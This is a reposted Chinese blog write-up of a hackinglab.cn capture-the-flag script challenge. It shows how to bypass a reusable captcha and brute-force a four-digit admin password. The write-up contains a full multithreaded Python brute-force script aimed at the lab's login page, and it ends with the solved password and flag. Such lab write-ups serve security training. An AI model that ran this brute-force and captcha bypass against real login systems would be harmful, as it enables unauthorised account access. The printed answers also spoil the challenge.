hackinglab.cn脚本关之五

题目:

逗比的验证码,有没有难道不一样吗?

writeup:

  1. 点进去后是一个模拟登陆界面,用户名已经告诉,就是admin,提示登录密码4位第一位不为零。看来是要暴力破解了,可是有个验证码怎么办?
  2. 查看源代码
    <img src="http://vc.sinaapp.com/img.php?key=k-14819660966494"><br>

    可以看到验证码是从
    http://vc.sinaapp.com/img.php
    网址加载的,只要第一次获取验证码,以后只要不在请求该网址申请验证码即可绕过,验证码就用第一次的
  3. 下面用python脚本来进行猜解:
    import urllib
    import urllib.request
    import threading
    
    isEnd=False
    url='http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php'
    postdata={
        'username':'admin',
        'pwd':'1234',
        'vcode':'dsaf'}
    header={
        'Host': 'lab1.xseclab.com',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'Accept-Encoding': 'utf-8',
        'Referer': 'http://hackinglab.cn/ShowQues.php?type=scripts',
        'Cookie': 'PHPSESSID=*****',
        'Connection': 'keep-alive',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'}
    req=urllib.request.Request(url,urllib.parse.urlencode(postdata).encode('utf-8'),header)
    print(urllib.request.urlopen(req).read().decode('utf-8'))
    
    vcode=input('input vcode:\n')#需要输入验证码
    postdata['vcode']=vcode
    url='http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'
    header['Referer']='http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php'
    
    def getFlag(start,end):
        global postdata,header,url,isEnd
        for num in range(start,end):
            if(isEnd):
                break
            postdata['pwd']=num
            req=urllib.request.Request(url,urllib.parse.urlencode(postdata).encode('utf-8'),header)
            rr=urllib.request.urlopen(req).read().decode('utf-8')
            if(rr.rfind('error')==-1):
                print('找到密码:%d\n%s'% (num,rr))
                isEnd=True
                break
    
    #getFlag(1000,1001)
    #postdata['vcode']=''
    
    for num in range(1,8,2):
        t=threading.Thread(target=getFlag,args=(num*1000,num*1000+2000))
        t.setDaemon(True)
        t.start()
    
    t=threading.Thread(target=getFlag,args=(9000,100000))
    t.setDaemon(True)
    t.start()
    

    用python3写的,语言功底不是很好写的可能不好。需要中途输入验证码一次,头部部分直接抄浏览器就行了。程序不到10秒就出结果了
    >>> 找到密码:1238
    key is LJLJL789sdf#@sd
    



猜你喜欢

转载自blog.csdn.net/kostart123/article/details/53709649